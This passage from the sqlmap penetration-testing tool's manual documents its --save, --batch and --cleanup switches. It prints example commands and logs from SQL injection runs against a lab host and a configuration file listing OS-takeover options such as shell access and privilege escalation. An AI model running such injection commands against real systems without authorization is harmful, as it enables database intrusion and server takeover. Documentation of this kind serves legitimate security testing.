[INFO] no new Microsoft SQL Server versions since the last update [...] </verb></tscreen> The Debian and Red Hat installation packages (deb and rpm) as well as the Windows binary package (exe) can not be used to update sqlmap. You need a source package (gzip, bzip2 or zip) to use this feature. <sect2>Save options in a configuration INI file Switch: <tt>-</tt><tt>-save</tt> It is possible to save the command line options to a configuration INI file. Example on a <bf>PostgreSQL 8.3.5</bf> target: <tscreen><verb> $ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" -b \ -v 1 --save [hh:mm:33] [INFO] saved command line options on '/home/inquis/sqlmap/sqlmap-SAUbs.conf' configuration file [hh:mm:33] [INFO] testing connection to the target url [hh:mm:33] [INFO] testing if the url is stable, wait a few seconds [...] </verb></tscreen> As you can see, sqlmap saved the command line options to a configuration INI file, <tt>sqlmap-SAUbs.conf</tt>. <tscreen><verb> $ cat sqlmap-SAUbs.conf [Target] url = http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1 googledork = configfile = list = requestfile = [Windows] regread = False regval = regdata = regadd = False regdel = False regtype = regkey = [User-defined function] shlib = udfinject = False [Request] cookieurlencode = False ignoreproxy = False threads = 1 acert = retries = 3 useragentsfile = atype = agent = delay = 0 headers = cookie = proxy = timeout = 30 scope = acred = referer = dropsetcookie = False data = method = GET [Miscellaneous] updateall = False sessionfile = eta = False batch = False flushsession = False cleanup = False googlepage = 0 verbose = 1 [Enumeration] limitstop = 0 getpasswordhashes = False excludesysdbs = False getcurrentdb = False getcurrentuser = False limitstart = 0 query = getusers = False isdba = False gettables = False dumptable = False getdbs = False db = sqlshell = False tbl = firstchar = 0 getcolumns = False getbanner = True dumpall = False getprivileges = False lastchar = 0 col = user = [File system] dfile = wfile = rfile = [Takeover] msfpath = osshell = False ossmb = False privesc = False ospwn = False tmppath = oscmd = osbof = False [Fingerprint] extensivefp = False [Injection] dbms = string = postfix = regexp = prefix = testparameter = estring = eregexp = os = [Techniques] utech = unionuse = False timetest = False uniontest = False stackedtest = False timesec = 5 </verb></tscreen> The file is a valid sqlmap configuration INI file. You can edit the configuration options as you wish and pass it to sqlmap with the <tt>-c</tt> option as explained above in section 5.2.5: <tscreen><verb> $ python sqlmap.py -c sqlmap-SAUbs.conf [...] banner: 'PostgreSQL 8.3.5 on i486-pc-linux-gnu, compiled by GCC gcc-4.3.real (Ubuntu 4.3.2-1ubuntu11) 4.3.2' </verb></tscreen> <sect2>Act in non-interactive mode Switch: <tt>-</tt><tt>-batch</tt> If you want sqlmap to run as a batch tool, without any user's interaction when sqlmap requires it, you can force it by using <tt>-</tt><tt>-batch</tt> option, and leave sqlmap to go for a default behaviour. Example on a <bf>MySQL 5.0.67</bf> target: <tscreen><verb> $ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int_str.php?id=1&name=luther" \ --batch -v 1 [...] [hh:mm:22] [INFO] testing if GET parameter 'id' is dynamic [hh:mm:22] [INFO] confirming that GET parameter 'id' is dynamic [hh:mm:22] [INFO] GET parameter 'id' is dynamic [hh:mm:22] [INFO] testing sql injection on GET parameter 'id' with 0 parenthesis [hh:mm:22] [INFO] testing unescaped numeric injection on GET parameter 'id' [hh:mm:22] [INFO] confirming unescaped numeric injection on GET parameter 'id' [hh:mm:22] [INFO] GET parameter 'id' is unescaped numeric injectable with 0 parenthesis [hh:mm:22] [INFO] testing if GET parameter 'name' is dynamic [hh:mm:22] [INFO] confirming that GET parameter 'name' is dynamic [hh:mm:22] [INFO] GET parameter 'name' is dynamic [hh:mm:22] [INFO] testing sql injection on GET parameter 'name' with 0 parenthesis [hh:mm:22] [INFO] testing unescaped numeric injection on GET parameter 'name' [hh:mm:22] [INFO] GET parameter 'name' is not unescaped numeric injectable [hh:mm:22] [INFO] testing single quoted string injection on GET parameter 'name' [hh:mm:22] [INFO] confirming single quoted string injection on GET parameter 'name' [hh:mm:22] [INFO] GET parameter 'name' is single quoted string injectable with 0 parenthesis [hh:mm:22] [INFO] there were multiple injection points, please select the one to use to go ahead: [0] place: GET, parameter: id, type: numeric (default) [1] place: GET, parameter: name, type: stringsingle [q] Quit Choice: 0 [hh:mm:22] [DEBUG] used the default behaviour, running in batch mode [...] back-end DBMS: MySQL >= 5.0.0 </verb></tscreen> As you can see, sqlmap by default chose the injection payload to the first vulnerable parameter. <sect2>Cleanup the DBMS by sqlmap specific UDF(s) and table(s) Switch: <tt>-</tt><tt>-cleanup</tt> It is recommended to clean up the back-end database management system from sqlmap temporary table(s) and created user-defined function(s) when you are done with owning the underlying operating system or file system. Example on a <bf>PostgreSQL 8.3.5</bf> target: <tscreen><verb> $ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/iis/get_int.aspx?id=1" \ -v 2 --cleanup [...] [hh:mm:18] [INFO] cleaning up the database management system [hh:mm:18] [DEBUG] removing support tables [hh:mm:18] [DEBUG] query: DROP TABLE sqlmapfile [hh:mm:18] [DEBUG] query: DROP TABLE sqlmapoutput do you want to remove sys_exec UDF? [Y/n] [hh:mm:20] [DEBUG] removing sys_exec UDF [hh:mm:20] [DEBUG] query: DROP FUNCTION sys_exec(text) do you want to remove sys_eval UDF? [Y/n] [hh:mm:21] [DEBUG] removing sys_eval UDF [hh:mm:21] [DEBUG] query: DROP FUNCTION sys_eval(text) [hh:mm:21] [INFO] database management system cleanup finished [hh:mm:21] [WARNING] remember that UDF shared library files saved on the file system can only be deleted manually </verb></tscreen> <sect>Disclaimer sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. Whatever you do with this tool is uniquely your responsibility. If you are not authorized to punch holes in the network you are attacking be aware that such action might get you in trouble with a lot of law enforcement agencies. <sect>Authors <htmlurl url="mailto:bernardo.damele@gmail.com" name="Bernardo Damele A. G."> (inquis) - Lead developer. PGP Key ID: <htmlurl url="http://pgp.mit.edu:11371/pks/lookup?op=get&search=0x05F5A30F" name="0x05F5A30F"> <htmlurl url="mailto:miroslav.stampar@gmail.com" name="Miroslav Stampar"> (stamparm) - Developer. PGP Key ID: <htmlurl url="http://pgp.mit.edu:11371/pks/lookup?op=get&search=0xB5397B1B" name="0xB5397B1B"> </article>